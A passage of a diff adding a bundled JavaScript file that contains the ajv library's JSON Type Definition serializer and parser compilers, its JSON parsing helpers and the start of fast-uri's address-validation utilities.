"node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/jtd/serialize.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var types_1 = require_types2(); + var __1 = require_compile(); + var codegen_1 = require_codegen(); + var ref_error_1 = require_ref_error(); + var names_1 = require_names(); + var code_1 = require_code2(); + var ref_1 = require_ref2(); + var util_1 = require_util(); + var quote_1 = require_quote(); + var genSerialize = { + elements: serializeElements, + values: serializeValues, + discriminator: serializeDiscriminator, + properties: serializeProperties, + optionalProperties: serializeProperties, + enum: serializeString, + type: serializeType, + ref: serializeRef + }; + function compileSerializer(sch, definitions) { + const _sch = __1.getCompilingSchema.call(this, sch); + if (_sch) + return _sch; + const { es5, lines } = this.opts.code; + const { ownProperties } = this.opts; + const gen = new codegen_1.CodeGen(this.scope, { es5, lines, ownProperties }); + const serializeName = gen.scopeName("serialize"); + const cxt = { + self: this, + gen, + schema: sch.schema, + schemaEnv: sch, + definitions, + data: names_1.default.data + }; + let sourceCode; + try { + this._compilations.add(sch); + sch.serializeName = serializeName; + gen.func(serializeName, names_1.default.data, false, () => { + gen.let(names_1.default.json, (0, codegen_1.str)``); + serializeCode(cxt); + gen.return(names_1.default.json); + }); + gen.optimize(this.opts.code.optimize); + const serializeFuncCode = gen.toString(); + sourceCode = `${gen.scopeRefs(names_1.default.scope)}return ${serializeFuncCode}`; + const makeSerialize = new Function(`${names_1.default.scope}`, sourceCode); + const serialize = makeSerialize(this.scope.get()); + this.scope.value(serializeName, { ref: serialize }); + sch.serialize = serialize; + } catch (e) { + if (sourceCode) + this.logger.error("Error compiling serializer, function code:", sourceCode); + delete sch.serialize; + delete sch.serializeName; + throw e; + } finally { + this._compilations.delete(sch); + } + return sch; + } + exports.default = compileSerializer; + function serializeCode(cxt) { + let form; + for (const key of types_1.jtdForms) { + if (key in cxt.schema) { + form = key; + break; + } + } + serializeNullable(cxt, form ? genSerialize[form] : serializeEmpty); + } + function serializeNullable(cxt, serializeForm) { + const { gen, schema, data } = cxt; + if (!schema.nullable) + return serializeForm(cxt); + gen.if((0, codegen_1._)`${data} === undefined || ${data} === null`, () => gen.add(names_1.default.json, (0, codegen_1._)`"null"`), () => serializeForm(cxt)); + } + function serializeElements(cxt) { + const { gen, schema, data } = cxt; + gen.add(names_1.default.json, (0, codegen_1.str)`[`); + const first = gen.let("first", true); + gen.forOf("el", data, (el) => { + addComma(cxt, first); + serializeCode({ ...cxt, schema: schema.elements, data: el }); + }); + gen.add(names_1.default.json, (0, codegen_1.str)`]`); + } + function serializeValues(cxt) { + const { gen, schema, data } = cxt; + gen.add(names_1.default.json, (0, codegen_1.str)`{`); + const first = gen.let("first", true); + gen.forIn("key", data, (key) => serializeKeyValue(cxt, key, schema.values, first)); + gen.add(names_1.default.json, (0, codegen_1.str)`}`); + } + function serializeKeyValue(cxt, key, schema, first) { + const { gen, data } = cxt; + addComma(cxt, first); + serializeString({ ...cxt, data: key }); + gen.add(names_1.default.json, (0, codegen_1.str)`:`); + const value = gen.const("value", (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(key)}`); + serializeCode({ ...cxt, schema, data: value }); + } + function serializeDiscriminator(cxt) { + const { gen, schema, data } = cxt; + const { discriminator } = schema; + gen.add(names_1.default.json, (0, codegen_1.str)`{${JSON.stringify(discriminator)}:`); + const tag2 = gen.const("tag", (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(discriminator)}`); + serializeString({ ...cxt, data: tag2 }); + gen.if(false); + for (const tagValue in schema.mapping) { + gen.elseIf((0, codegen_1._)`${tag2} === ${tagValue}`); + const sch = schema.mapping[tagValue]; + serializeSchemaProperties({ ...cxt, schema: sch }, discriminator); + } + gen.endIf(); + gen.add(names_1.default.json, (0, codegen_1.str)`}`); + } + function serializeProperties(cxt) { + const { gen } = cxt; + gen.add(names_1.default.json, (0, codegen_1.str)`{`); + serializeSchemaProperties(cxt); + gen.add(names_1.default.json, (0, codegen_1.str)`}`); + } + function serializeSchemaProperties(cxt, discriminator) { + const { gen, schema, data } = cxt; + const { properties, optionalProperties } = schema; + const props = keys(properties); + const optProps = keys(optionalProperties); + const allProps = allProperties(props.concat(optProps)); + let first = !discriminator; + let firstProp; + for (const key of props) { + if (first) + first = false; + else + gen.add(names_1.default.json, (0, codegen_1.str)`,`); + serializeProperty(key, properties[key], keyValue(key)); + } + if (first) + firstProp = gen.let("first", true); + for (const key of optProps) { + const value = keyValue(key); + gen.if((0, codegen_1.and)((0, codegen_1._)`${value} !== undefined`, (0, code_1.isOwnProperty)(gen, data, key)), () => { + addComma(cxt, firstProp); + serializeProperty(key, optionalProperties[key], value); + }); + } + if (schema.additionalProperties) { + gen.forIn("key", data, (key) => gen.if(isAdditional(key, allProps), () => serializeKeyValue(cxt, key, {}, firstProp))); + } + function keys(ps) { + return ps ? Object.keys(ps) : []; + } + function allProperties(ps) { + if (discriminator) + ps.push(discriminator); + if (new Set(ps).size !== ps.length) { + throw new Error("JTD: properties/optionalProperties/disciminator overlap"); + } + return ps; + } + function keyValue(key) { + return gen.const("value", (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(key)}`); + } + function serializeProperty(key, propSchema, value) { + gen.add(names_1.default.json, (0, codegen_1.str)`${JSON.stringify(key)}:`); + serializeCode({ ...cxt, schema: propSchema, data: value }); + } + function isAdditional(key, ps) { + return ps.length ? (0, codegen_1.and)(...ps.map((p) => (0, codegen_1._)`${key} !== ${p}`)) : true; + } + } + function serializeType(cxt) { + const { gen, schema, data } = cxt; + switch (schema.type) { + case "boolean": + gen.add(names_1.default.json, (0, codegen_1._)`${data} ? "true" : "false"`); + break; + case "string": + serializeString(cxt); + break; + case "timestamp": + gen.if((0, codegen_1._)`${data} instanceof Date`, () => gen.add(names_1.default.json, (0, codegen_1._)`'"' + ${data}.toISOString() + '"'`), () => serializeString(cxt)); + break; + default: + serializeNumber(cxt); + } + } + function serializeString({ gen, data }) { + gen.add(names_1.default.json, (0, codegen_1._)`${(0, util_1.useFunc)(gen, quote_1.default)}(${data})`); + } + function serializeNumber({ gen, data, self: self2 }) { + const condition = (0, codegen_1._)`${data} === Infinity || ${data} === -Infinity || ${data} !== ${data}`; + if (self2.opts.specialNumbers === void 0 || self2.opts.specialNumbers === "fast") { + gen.add(names_1.default.json, (0, codegen_1._)`"" + ${data}`); + } else { + gen.if(condition, () => gen.add(names_1.default.json, (0, codegen_1._)`null`), () => gen.add(names_1.default.json, (0, codegen_1._)`"" + ${data}`)); + } + } + function serializeRef(cxt) { + const { gen, self: self2, data, definitions, schema, schemaEnv } = cxt; + const { ref } = schema; + const refSchema = definitions[ref]; + if (!refSchema) + throw new ref_error_1.default(self2.opts.uriResolver, "", ref, `No definition ${ref}`); + if (!(0, ref_1.hasRef)(refSchema)) + return serializeCode({ ...cxt, schema: refSchema }); + const { root } = schemaEnv; + const sch = compileSerializer.call(self2, new __1.SchemaEnv({ schema: refSchema, root }), definitions); + gen.add(names_1.default.json, (0, codegen_1._)`${getSerialize(gen, sch)}(${data})`); + } + function getSerialize(gen, sch) { + return sch.serialize ? gen.scopeValue("serialize", { ref: sch.serialize }) : (0, codegen_1._)`${gen.scopeValue("wrapper", { ref: sch })}.serialize`; + } + function serializeEmpty({ gen, data }) { + gen.add(names_1.default.json, (0, codegen_1._)`JSON.stringify(${data})`); + } + function addComma({ gen }, first) { + if (first) { + gen.if(first, () => gen.assign(first, false), () => gen.add(names_1.default.json, (0, codegen_1.str)`,`)); + } else { + gen.add(names_1.default.json, (0, codegen_1.str)`,`); + } + } + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/parseJson.js +var require_parseJson = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/parseJson.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.parseJsonString = exports.parseJsonNumber = exports.parseJson = void 0; + var rxParseJson = /position\s(\d+)(?: \(line \d+ column \d+\))?$/; + function parseJson(s, pos) { + let endPos; + parseJson.message = void 0; + let matches; + if (pos) + s = s.slice(pos); + try { + parseJson.position = pos + s.length; + return JSON.parse(s); + } catch (e) { + matches = rxParseJson.exec(e.message); + if (!matches) { + parseJson.message = "unexpected end"; + return void 0; + } + endPos = +matches[1]; + const c = s[endPos]; + s = s.slice(0, endPos); + parseJson.position = pos + endPos; + try { + return JSON.parse(s); + } catch (e1) { + parseJson.message = `unexpected token ${c}`; + return void 0; + } + } + } + exports.parseJson = parseJson; + parseJson.message = void 0; + parseJson.position = 0; + parseJson.code = 'require("ajv/dist/runtime/parseJson").parseJson'; + function parseJsonNumber(s, pos, maxDigits) { + let numStr = ""; + let c; + parseJsonNumber.message = void 0; + if (s[pos] === "-") { + numStr += "-"; + pos++; + } + if (s[pos] === "0") { + numStr += "0"; + pos++; + } else { + if (!parseDigits(maxDigits)) { + errorMessage(); + return void 0; + } + } + if (maxDigits) { + parseJsonNumber.position = pos; + return +numStr; + } + if (s[pos] === ".") { + numStr += "."; + pos++; + if (!parseDigits()) { + errorMessage(); + return void 0; + } + } + if (c = s[pos], c === "e" || c === "E") { + numStr += "e"; + pos++; + if (c = s[pos], c === "+" || c === "-") { + numStr += c; + pos++; + } + if (!parseDigits()) { + errorMessage(); + return void 0; + } + } + parseJsonNumber.position = pos; + return +numStr; + function parseDigits(maxLen) { + let digit = false; + while (c = s[pos], c >= "0" && c <= "9" && (maxLen === void 0 || maxLen-- > 0)) { + digit = true; + numStr += c; + pos++; + } + return digit; + } + function errorMessage() { + parseJsonNumber.position = pos; + parseJsonNumber.message = pos < s.length ? `unexpected token ${s[pos]}` : "unexpected end"; + } + } + exports.parseJsonNumber = parseJsonNumber; + parseJsonNumber.message = void 0; + parseJsonNumber.position = 0; + parseJsonNumber.code = 'require("ajv/dist/runtime/parseJson").parseJsonNumber'; + var escapedChars = { + b: "\b", + f: "\f", + n: "\n", + r: "\r", + t: " ", + '"': '"', + "/": "/", + "\\": "\\" + }; + var CODE_A = "a".charCodeAt(0); + var CODE_0 = "0".charCodeAt(0); + function parseJsonString(s, pos) { + let str = ""; + let c; + parseJsonString.message = void 0; + while (true) { + c = s[pos++]; + if (c === '"') + break; + if (c === "\\") { + c = s[pos]; + if (c in escapedChars) { + str += escapedChars[c]; + pos++; + } else if (c === "u") { + pos++; + let count = 4; + let code = 0; + while (count--) { + code <<= 4; + c = s[pos]; + if (c === void 0) { + errorMessage("unexpected end"); + return void 0; + } + c = c.toLowerCase(); + if (c >= "a" && c <= "f") { + code += c.charCodeAt(0) - CODE_A + 10; + } else if (c >= "0" && c <= "9") { + code += c.charCodeAt(0) - CODE_0; + } else { + errorMessage(`unexpected token ${c}`); + return void 0; + } + pos++; + } + str += String.fromCharCode(code); + } else { + errorMessage(`unexpected token ${c}`); + return void 0; + } + } else if (c === void 0) { + errorMessage("unexpected end"); + return void 0; + } else { + if (c.charCodeAt(0) >= 32) { + str += c; + } else { + errorMessage(`unexpected token ${c}`); + return void 0; + } + } + } + parseJsonString.position = pos; + return str; + function errorMessage(msg) { + parseJsonString.position = pos; + parseJsonString.message = msg; + } + } + exports.parseJsonString = parseJsonString; + parseJsonString.message = void 0; + parseJsonString.position = 0; + parseJsonString.code = 'require("ajv/dist/runtime/parseJson").parseJsonString'; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/jtd/parse.js +var require_parse = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/jtd/parse.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var types_1 = require_types2(); + var __1 = require_compile(); + var codegen_1 = require_codegen(); + var ref_error_1 = require_ref_error(); + var names_1 = require_names(); + var code_1 = require_code2(); + var ref_1 = require_ref2(); + var type_1 = require_type(); + var parseJson_1 = require_parseJson(); + var util_1 = require_util(); + var timestamp_1 = require_timestamp(); + var genParse = { + elements: parseElements, + values: parseValues, + discriminator: parseDiscriminator, + properties: parseProperties, + optionalProperties: parseProperties, + enum: parseEnum, + type: parseType, + ref: parseRef + }; + function compileParser(sch, definitions) { + const _sch = __1.getCompilingSchema.call(this, sch); + if (_sch) + return _sch; + const { es5, lines } = this.opts.code; + const { ownProperties } = this.opts; + const gen = new codegen_1.CodeGen(this.scope, { es5, lines, ownProperties }); + const parseName = gen.scopeName("parse"); + const cxt = { + self: this, + gen, + schema: sch.schema, + schemaEnv: sch, + definitions, + data: names_1.default.data, + parseName, + char: gen.name("c") + }; + let sourceCode; + try { + this._compilations.add(sch); + sch.parseName = parseName; + parserFunction(cxt); + gen.optimize(this.opts.code.optimize); + const parseFuncCode = gen.toString(); + sourceCode = `${gen.scopeRefs(names_1.default.scope)}return ${parseFuncCode}`; + const makeParse = new Function(`${names_1.default.scope}`, sourceCode); + const parse4 = makeParse(this.scope.get()); + this.scope.value(parseName, { ref: parse4 }); + sch.parse = parse4; + } catch (e) { + if (sourceCode) + this.logger.error("Error compiling parser, function code:", sourceCode); + delete sch.parse; + delete sch.parseName; + throw e; + } finally { + this._compilations.delete(sch); + } + return sch; + } + exports.default = compileParser; + var undef = (0, codegen_1._)`undefined`; + function parserFunction(cxt) { + const { gen, parseName, char: char2 } = cxt; + gen.func(parseName, (0, codegen_1._)`${names_1.default.json}, ${names_1.default.jsonPos}, ${names_1.default.jsonPart}`, false, () => { + gen.let(names_1.default.data); + gen.let(char2); + gen.assign((0, codegen_1._)`${parseName}.message`, undef); + gen.assign((0, codegen_1._)`${parseName}.position`, undef); + gen.assign(names_1.default.jsonPos, (0, codegen_1._)`${names_1.default.jsonPos} || 0`); + gen.const(names_1.default.jsonLen, (0, codegen_1._)`${names_1.default.json}.length`); + parseCode(cxt); + skipWhitespace(cxt); + gen.if(names_1.default.jsonPart, () => { + gen.assign((0, codegen_1._)`${parseName}.position`, names_1.default.jsonPos); + gen.return(names_1.default.data); + }); + gen.if((0, codegen_1._)`${names_1.default.jsonPos} === ${names_1.default.jsonLen}`, () => gen.return(names_1.default.data)); + jsonSyntaxError(cxt); + }); + } + function parseCode(cxt) { + let form; + for (const key of types_1.jtdForms) { + if (key in cxt.schema) { + form = key; + break; + } + } + if (form) + parseNullable(cxt, genParse[form]); + else + parseEmpty(cxt); + } + var parseBoolean = parseBooleanToken(true, parseBooleanToken(false, jsonSyntaxError)); + function parseNullable(cxt, parseForm) { + const { gen, schema, data } = cxt; + if (!schema.nullable) + return parseForm(cxt); + tryParseToken(cxt, "null", parseForm, () => gen.assign(data, null)); + } + function parseElements(cxt) { + const { gen, schema, data } = cxt; + parseToken(cxt, "["); + const ix = gen.let("i", 0); + gen.assign(data, (0, codegen_1._)`[]`); + parseItems(cxt, "]", () => { + const el = gen.let("el"); + parseCode({ ...cxt, schema: schema.elements, data: el }); + gen.assign((0, codegen_1._)`${data}[${ix}++]`, el); + }); + } + function parseValues(cxt) { + const { gen, schema, data } = cxt; + parseToken(cxt, "{"); + gen.assign(data, (0, codegen_1._)`{}`); + parseItems(cxt, "}", () => parseKeyValue(cxt, schema.values)); + } + function parseItems(cxt, endToken, block) { + tryParseItems(cxt, endToken, block); + parseToken(cxt, endToken); + } + function tryParseItems(cxt, endToken, block) { + const { gen } = cxt; + gen.for((0, codegen_1._)`;${names_1.default.jsonPos}<${names_1.default.jsonLen} && ${jsonSlice(1)}!==${endToken};`, () => { + block(); + tryParseToken(cxt, ",", () => gen.break(), hasItem); + }); + function hasItem() { + tryParseToken(cxt, endToken, () => { + }, jsonSyntaxError); + } + } + function parseKeyValue(cxt, schema) { + const { gen } = cxt; + const key = gen.let("key"); + parseString({ ...cxt, data: key }); + parseToken(cxt, ":"); + parsePropertyValue(cxt, key, schema); + } + function parseDiscriminator(cxt) { + const { gen, data, schema } = cxt; + const { discriminator, mapping } = schema; + parseToken(cxt, "{"); + gen.assign(data, (0, codegen_1._)`{}`); + const startPos = gen.const("pos", names_1.default.jsonPos); + const value = gen.let("value"); + const tag2 = gen.let("tag"); + tryParseItems(cxt, "}", () => { + const key = gen.let("key"); + parseString({ ...cxt, data: key }); + parseToken(cxt, ":"); + gen.if( + (0, codegen_1._)`${key} === ${discriminator}`, + () => { + parseString({ ...cxt, data: tag2 }); + gen.assign((0, codegen_1._)`${data}[${key}]`, tag2); + gen.break(); + }, + () => parseEmpty({ ...cxt, data: value }) + // can be discarded/skipped + ); + }); + gen.assign(names_1.default.jsonPos, startPos); + gen.if((0, codegen_1._)`${tag2} === undefined`); + parsingError(cxt, (0, codegen_1.str)`discriminator tag not found`); + for (const tagValue in mapping) { + gen.elseIf((0, codegen_1._)`${tag2} === ${tagValue}`); + parseSchemaProperties({ ...cxt, schema: mapping[tagValue] }, discriminator); + } + gen.else(); + parsingError(cxt, (0, codegen_1.str)`discriminator value not in schema`); + gen.endIf(); + } + function parseProperties(cxt) { + const { gen, data } = cxt; + parseToken(cxt, "{"); + gen.assign(data, (0, codegen_1._)`{}`); + parseSchemaProperties(cxt); + } + function parseSchemaProperties(cxt, discriminator) { + const { gen, schema, data } = cxt; + const { properties, optionalProperties, additionalProperties } = schema; + parseItems(cxt, "}", () => { + const key = gen.let("key"); + parseString({ ...cxt, data: key }); + parseToken(cxt, ":"); + gen.if(false); + parseDefinedProperty(cxt, key, properties); + parseDefinedProperty(cxt, key, optionalProperties); + if (discriminator) { + gen.elseIf((0, codegen_1._)`${key} === ${discriminator}`); + const tag2 = gen.let("tag"); + parseString({ ...cxt, data: tag2 }); + } + gen.else(); + if (additionalProperties) { + parseEmpty({ ...cxt, data: (0, codegen_1._)`${data}[${key}]` }); + } else { + parsingError(cxt, (0, codegen_1.str)`property ${key} not allowed`); + } + gen.endIf(); + }); + if (properties) { + const hasProp = (0, code_1.hasPropFunc)(gen); + const allProps = (0, codegen_1.and)(...Object.keys(properties).map((p) => (0, codegen_1._)`${hasProp}.call(${data}, ${p})`)); + gen.if((0, codegen_1.not)(allProps), () => parsingError(cxt, (0, codegen_1.str)`missing required properties`)); + } + } + function parseDefinedProperty(cxt, key, schemas = {}) { + const { gen } = cxt; + for (const prop in schemas) { + gen.elseIf((0, codegen_1._)`${key} === ${prop}`); + parsePropertyValue(cxt, key, schemas[prop]); + } + } + function parsePropertyValue(cxt, key, schema) { + parseCode({ ...cxt, schema, data: (0, codegen_1._)`${cxt.data}[${key}]` }); + } + function parseType(cxt) { + const { gen, schema, data, self: self2 } = cxt; + switch (schema.type) { + case "boolean": + parseBoolean(cxt); + break; + case "string": + parseString(cxt); + break; + case "timestamp": { + parseString(cxt); + const vts = (0, util_1.useFunc)(gen, timestamp_1.default); + const { allowDate, parseDate } = self2.opts; + const notValid = allowDate ? (0, codegen_1._)`!${vts}(${data}, true)` : (0, codegen_1._)`!${vts}(${data})`; + const fail = parseDate ? (0, codegen_1.or)(notValid, (0, codegen_1._)`(${data} = new Date(${data}), false)`, (0, codegen_1._)`isNaN(${data}.valueOf())`) : notValid; + gen.if(fail, () => parsingError(cxt, (0, codegen_1.str)`invalid timestamp`)); + break; + } + case "float32": + case "float64": + parseNumber(cxt); + break; + default: { + const t = schema.type; + if (!self2.opts.int32range && (t === "int32" || t === "uint32")) { + parseNumber(cxt, 16); + if (t === "uint32") { + gen.if((0, codegen_1._)`${data} < 0`, () => parsingError(cxt, (0, codegen_1.str)`integer out of range`)); + } + } else { + const [min, max, maxDigits] = type_1.intRange[t]; + parseNumber(cxt, maxDigits); + gen.if((0, codegen_1._)`${data} < ${min} || ${data} > ${max}`, () => parsingError(cxt, (0, codegen_1.str)`integer out of range`)); + } + } + } + } + function parseString(cxt) { + parseToken(cxt, '"'); + parseWith(cxt, parseJson_1.parseJsonString); + } + function parseEnum(cxt) { + const { gen, data, schema } = cxt; + const enumSch = schema.enum; + parseToken(cxt, '"'); + gen.if(false); + for (const value of enumSch) { + const valueStr = JSON.stringify(value).slice(1); + gen.elseIf((0, codegen_1._)`${jsonSlice(valueStr.length)} === ${valueStr}`); + gen.assign(data, (0, codegen_1.str)`${value}`); + gen.add(names_1.default.jsonPos, valueStr.length); + } + gen.else(); + jsonSyntaxError(cxt); + gen.endIf(); + } + function parseNumber(cxt, maxDigits) { + const { gen } = cxt; + skipWhitespace(cxt); + gen.if((0, codegen_1._)`"-0123456789".indexOf(${jsonSlice(1)}) < 0`, () => jsonSyntaxError(cxt), () => parseWith(cxt, parseJson_1.parseJsonNumber, maxDigits)); + } + function parseBooleanToken(bool, fail) { + return (cxt) => { + const { gen, data } = cxt; + tryParseToken(cxt, `${bool}`, () => fail(cxt), () => gen.assign(data, bool)); + }; + } + function parseRef(cxt) { + const { gen, self: self2, definitions, schema, schemaEnv } = cxt; + const { ref } = schema; + const refSchema = definitions[ref]; + if (!refSchema) + throw new ref_error_1.default(self2.opts.uriResolver, "", ref, `No definition ${ref}`); + if (!(0, ref_1.hasRef)(refSchema)) + return parseCode({ ...cxt, schema: refSchema }); + const { root } = schemaEnv; + const sch = compileParser.call(self2, new __1.SchemaEnv({ schema: refSchema, root }), definitions); + partialParse(cxt, getParser(gen, sch), true); + } + function getParser(gen, sch) { + return sch.parse ? gen.scopeValue("parse", { ref: sch.parse }) : (0, codegen_1._)`${gen.scopeValue("wrapper", { ref: sch })}.parse`; + } + function parseEmpty(cxt) { + parseWith(cxt, parseJson_1.parseJson); + } + function parseWith(cxt, parseFunc, args) { + partialParse(cxt, (0, util_1.useFunc)(cxt.gen, parseFunc), args); + } + function partialParse(cxt, parseFunc, args) { + const { gen, data } = cxt; + gen.assign(data, (0, codegen_1._)`${parseFunc}(${names_1.default.json}, ${names_1.default.jsonPos}${args ? (0, codegen_1._)`, ${args}` : codegen_1.nil})`); + gen.assign(names_1.default.jsonPos, (0, codegen_1._)`${parseFunc}.position`); + gen.if((0, codegen_1._)`${data} === undefined`, () => parsingError(cxt, (0, codegen_1._)`${parseFunc}.message`)); + } + function parseToken(cxt, tok) { + tryParseToken(cxt, tok, jsonSyntaxError); + } + function tryParseToken(cxt, tok, fail, success2) { + const { gen } = cxt; + const n = tok.length; + skipWhitespace(cxt); + gen.if((0, codegen_1._)`${jsonSlice(n)} === ${tok}`, () => { + gen.add(names_1.default.jsonPos, n); + success2 === null || success2 === void 0 ? void 0 : success2(cxt); + }, () => fail(cxt)); + } + function skipWhitespace({ gen, char: c }) { + gen.code((0, codegen_1._)`while((${c}=${names_1.default.json}[${names_1.default.jsonPos}],${c}===" "||${c}==="\\n"||${c}==="\\r"||${c}==="\\t"))${names_1.default.jsonPos}++;`); + } + function jsonSlice(len) { + return len === 1 ? (0, codegen_1._)`${names_1.default.json}[${names_1.default.jsonPos}]` : (0, codegen_1._)`${names_1.default.json}.slice(${names_1.default.jsonPos}, ${names_1.default.jsonPos}+${len})`; + } + function jsonSyntaxError(cxt) { + parsingError(cxt, (0, codegen_1._)`"unexpected token " + ${names_1.default.json}[${names_1.default.jsonPos}]`); + } + function parsingError({ gen, parseName }, msg) { + gen.assign((0, codegen_1._)`${parseName}.message`, msg); + gen.assign((0, codegen_1._)`${parseName}.position`, names_1.default.jsonPos); + gen.return(undef); + } + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/jtd.js +var require_jtd2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/jtd.js"(exports, module) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.MissingRefError = exports.ValidationError = exports.CodeGen = exports.Name = exports.nil = exports.stringify = exports.str = exports._ = exports.KeywordCxt = exports.Ajv = void 0; + var core_1 = require_core(); + var jtd_1 = require_jtd(); + var jtd_schema_1 = require_jtd_schema(); + var serialize_1 = require_serialize(); + var parse_1 = require_parse(); + var META_SCHEMA_ID = "JTD-meta-schema"; + var Ajv = class extends core_1.default { + constructor(opts = {}) { + super({ + ...opts, + jtd: true + }); + } + _addVocabularies() { + super._addVocabularies(); + this.addVocabulary(jtd_1.default); + } + _addDefaultMetaSchema() { + super._addDefaultMetaSchema(); + if (!this.opts.meta) + return; + this.addMetaSchema(jtd_schema_1.default, META_SCHEMA_ID, false); + } + defaultMeta() { + return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(META_SCHEMA_ID) ? META_SCHEMA_ID : void 0); + } + compileSerializer(schema) { + const sch = this._addSchema(schema); + return sch.serialize || this._compileSerializer(sch); + } + compileParser(schema) { + const sch = this._addSchema(schema); + return sch.parse || this._compileParser(sch); + } + _compileSerializer(sch) { + serialize_1.default.call(this, sch, sch.schema.definitions || {}); + if (!sch.serialize) + throw new Error("ajv implementation error"); + return sch.serialize; + } + _compileParser(sch) { + parse_1.default.call(this, sch, sch.schema.definitions || {}); + if (!sch.parse) + throw new Error("ajv implementation error"); + return sch.parse; + } + }; + exports.Ajv = Ajv; + module.exports = exports = Ajv; + module.exports.Ajv = Ajv; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.default = Ajv; + var validate_1 = require_validate(); + Object.defineProperty(exports, "KeywordCxt", { enumerable: true, get: function() { + return validate_1.KeywordCxt; + } }); + var codegen_1 = require_codegen(); + Object.defineProperty(exports, "_", { enumerable: true, get: function() { + return codegen_1._; + } }); + Object.defineProperty(exports, "str", { enumerable: true, get: function() { + return codegen_1.str; + } }); + Object.defineProperty(exports, "stringify", { enumerable: true, get: function() { + return codegen_1.stringify; + } }); + Object.defineProperty(exports, "nil", { enumerable: true, get: function() { + return codegen_1.nil; + } }); + Object.defineProperty(exports, "Name", { enumerable: true, get: function() { + return codegen_1.Name; + } }); + Object.defineProperty(exports, "CodeGen", { enumerable: true, get: function() { + return codegen_1.CodeGen; + } }); + var validation_error_1 = require_validation_error(); + Object.defineProperty(exports, "ValidationError", { enumerable: true, get: function() { + return validation_error_1.default; + } }); + var ref_error_1 = require_ref_error(); + Object.defineProperty(exports, "MissingRefError", { enumerable: true, get: function() { + return ref_error_1.default; + } }); + } +}); + +// node_modules/.pnpm/fast-uri@4.2.1/node_modules/fast-uri/lib/utils.js +var require_utils2 = __commonJS({ + "node_modules/.pnpm/fast-uri@4.2.1/node_modules/fast-uri/lib/utils.js"(exports, module) { + "use strict"; + var isUUID = RegExp.prototype.test.bind(/^[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12}$/iu); + var isIPv4 = RegExp.prototype.test.bind(/^(?:(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)$/u); + var isPort = RegExp.prototype.test.bind(/^\d*$/u); + var isHexPair = RegExp.prototype.test.bind(/^[\da-f]{2}$/iu); + var isUnreserved = RegExp.prototype.test.bind(/^[\da-z\-._~]$/iu); + var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); + var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); + var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); + function stringArrayToHexStripped(input) { + let acc = ""; + let code = 0; + let i = 0; + for (i = 0; i < input.length; i++) { + code = input[i].charCodeAt(0); + if (code === 48) { + continue; + } + if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { + return ""; + } + acc += input[i]; + break; + } + for (i += 1; i < input.length; i++) { + code = input[i].charCodeAt(0); + if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { + return ""; + } + acc += input[i]; + } + return acc; + } + var isHextet = RegExp.prototype.test.bind(/^[\dA-Fa-f]{1,4}$/); + var isIPvFuture = RegExp.prototype.test.bind(/^[vV][\dA-Fa-f]+\.[A-Za-z\d\-._~!$&'()*+,;=:]+$/); + var isZoneCharacter = RegExp.prototype.test.bind(/^[A-Za-z\d\-._~]$/); + var nonSimpleDomain = RegExp.prototype.test.bind(/[^!"$&'()*+,\-.;=_`a-z{}~]/u); + var nonSimpleDomainChars = RegExp.prototype.test.bind(/[^\d!"$&'()*+,\-.;=_`a-z{}~]/u); + var numericLastLabel = RegExp.prototype.test.bind(/(?:^|\.)\d+$/u); + function nonSimpleMailtoDomain(domain2) { + return nonSimpleDomainChars(domain2) || numericLastLabel(domain2); + } + function isZoneIdentifier(zone) { + if (zone.length === 0) return false; + for (let i = 0; i < zone.length; i++) { + if (isZoneCharacter(zone[i])) continue; + if (zone[i] === "%" && i + 2 < zone.length && isHexPair(zone.slice(i + 1, i + 3))) { + i += 2; + continue; + } + return false; + } + return true; + } + function compressIPv6ZeroRun(hextets) { + let bestStart = -1; + let bestLength = 0; + let runStart = -1; + let runLength = 0; + for (let i = 0; i < hextets.length; i++) { + if (hextets[i] === "0") { + if (runStart === -1) runStart = i; + runLength++; + if (runLength > bestLength) { + bestLength = runLength; + bestStart = runStart; + } + } else { + runStart = -1; + runLength = 0; + } + } + if (bestLength < 2) return hextets.join(":"); + const head = hextets.slice(0, bestStart).join(":"); + const tail = hextets.slice(bestStart + bestLength).join(":"); + return head + "::" + tail; + } + function normalizeIPv6Address(input) { + const compression = input.indexOf("::"); + if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + if (compression !== -1) { + if (left.length === 1 && left[0] === "") left.length = 0; + if (right.length === 1 && right[0] === "") right.length = 0; + } + const parts = left.concat(right); + let hextetCount = 0; + for (let i = 0; i < parts.length; i++) { + const part = parts[i]; + if (part === "") return void 0; + if (part.indexOf(".") !== -1) { + if (i !== parts.length - 1 || compression !== -1 && right.length === 0 || !isIPv4(part)) return void 0; + hextetCount += 